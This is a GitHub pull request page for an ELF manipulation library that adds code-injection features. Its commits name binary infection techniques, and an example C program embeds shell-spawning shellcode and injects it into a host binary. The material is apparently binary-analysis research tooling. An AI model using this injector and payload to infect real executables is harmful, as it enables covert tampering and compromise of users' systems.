-
Notifications
You must be signed in to change notification settings - Fork 66
Feature/code injection #9
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
ulexec
wants to merge
26
commits into
master
Choose a base branch
from
feature/code_injection
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from 25 commits
Commits
Show all changes
26 commits
Select commit
Hold shift + click to select a range
ae5d3f0
prevent overrunning beyond the text segment in internal.c:original_ep
elfmaster b63a0d3
fixed bugs having to do with invalid symbol->st_name dereference
elfmaster 84f399b
...
elfmaster 1dd7b77
fixed elf_address_pointer and dw_read_location
elfmaster bf0053b
initial commit
dd30d14
implemented address to offset conversion helper functions
aa59757
implemented address to offset conversion helper functions
02db4ec
data segment injection implemented
8fd1a13
data segment injection implemented
2e0e6a8
data segment injection implemented
e428d3e
data segment injection implemented
21e30a1
data segment injection implemented
457060f
minor fixes
26b45bf
minor fixes
7b0eb3d
minor fixes
bcf6eed
minor fixes
2d3ec5a
implemented reverse_text_section infection
826ab11
minor fixes
2a1cc9a
minor fixes
23ac882
implemented interpending infection (appending at the end of code sect…
5f94ba7
implemented section offset re-alignment after infection
1de9f62
implemented section offset re-alignment after infection
4b5216a
implemented section offset re-alignment after infection
151a2f9
implemented section offset re-alignment after infection
c94acef
initial support for basic code injection
dfaf6cf
intiial code injection support (sync with master)
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,95 @@ | ||
| #define _GNU_SOURCE | ||
| #include <stdio.h> | ||
| #include <stdlib.h> | ||
| #include <elf.h> | ||
| #include <sys/types.h> | ||
| #include <search.h> | ||
| #include <sys/time.h> | ||
| #include <elf.h> | ||
| #include <link.h> | ||
| #include <stdint.h> | ||
| #include <sys/types.h> | ||
| #include <unistd.h> | ||
| #include <stdbool.h> | ||
| #include <search.h> | ||
| #include <sys/queue.h> | ||
| #include <sys/stat.h> | ||
| #include <string.h> | ||
| #include <fcntl.h> | ||
| #include <sys/mman.h> | ||
| #include <errno.h> | ||
| #include "../include/libelfmaster.h" | ||
| #include "../include/internal.h" | ||
|
|
||
| /* | ||
| * Opens a given file and checks if it contains an ELF magic. (More checks can be implemented). | ||
| */ | ||
| int main (int argc, char **argv) | ||
| { | ||
| elfobj_t obj1; | ||
| elfobj_t obj2; | ||
| elfobj_t objdest; | ||
| elf_error_t error; | ||
| uint64_t p_address; | ||
| uint64_t p_offset; | ||
| bool res; | ||
|
|
||
| // http://shell-storm.org/shellcode/files/shellcode-806.php | ||
| uint8_t stub[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48" \ | ||
| "\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"; | ||
|
|
||
| if (argc != 3) { | ||
| printf("Usage: %s <host> <output binary>\n", argv[0]); | ||
| exit(EXIT_SUCCESS); | ||
| } | ||
| if (elf_open_object(argv[1], &obj1, ELF_LOAD_F_STRICT, &error) == false) { | ||
| fprintf(stderr, "%s\n", elf_error_msg(&error)); | ||
| return -1; | ||
| } | ||
| /* | ||
| * In case the binary payload is residing in disk, we can use these functions to load | ||
| * it, as if it was an ELF file or some binary blob. | ||
| * | ||
| if (elf_has_header(argv[2], &res, &error) == false) { | ||
| fprintf(stderr, "%s\n", elf_error_msg(&error)); | ||
| return -1; | ||
| } | ||
| if (res) { | ||
| if (elf_open_object(argv[2], &obj2, ELF_LOAD_F_STRICT, &error) == false) { | ||
| fprintf(stderr, "%s\n", elf_error_msg(&error)); | ||
| return -1; | ||
| } | ||
| } else { | ||
| if (elf_open_stub(argv[2], &obj2, &error) == false) { | ||
| fprintf(stderr, "%s\n", elf_error_msg(&error)); | ||
| return -1; | ||
| } | ||
| } | ||
| * Otherwise stubs can be also operated as byte-arrays. | ||
| */ | ||
|
|
||
| if (elf_init_stub(&obj2, stub, sizeof(stub), &error) == false) { | ||
| fprintf(stderr, "%s\n", elf_error_msg(&error)); | ||
| return -1; | ||
| } | ||
| if (elf_create_object(argv[2], &objdest, &obj1, obj1.size + obj2.size, | ||
| ELF_LOAD_F_STRICT, &error) == false) { | ||
| fprintf(stderr, "%s\n", elf_error_msg(&error)); | ||
| return -1; | ||
| } | ||
| if (elf_inject_code(&objdest, &obj2, &p_offset, ELF_INJECT_F_POSTPEND, &error) == false) { | ||
| fprintf(stderr, "%s\n", elf_error_msg(&error)); | ||
| return -1; | ||
| } | ||
| if(internal_offset_to_address(&objdest, p_offset, &p_address, &error) == false) { | ||
| fprintf(stderr, "%s\n", elf_error_msg(&error)); | ||
| return -1; | ||
| } | ||
| printf("Payload written at offset: 0x%lx, address: 0x%lx\n", p_offset, p_address); | ||
|
|
||
| if (elf_commit_object(&objdest, objdest.size, 0, &error) == false) { | ||
| fprintf(stderr, "%s\n", elf_error_msg(&error)); | ||
| return -1; | ||
| } | ||
| return 0; | ||
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
When you get a chance put comments describing each function and its arguments. I need to do this too on some of mine. This is where we document our API for other developers who want to work on it.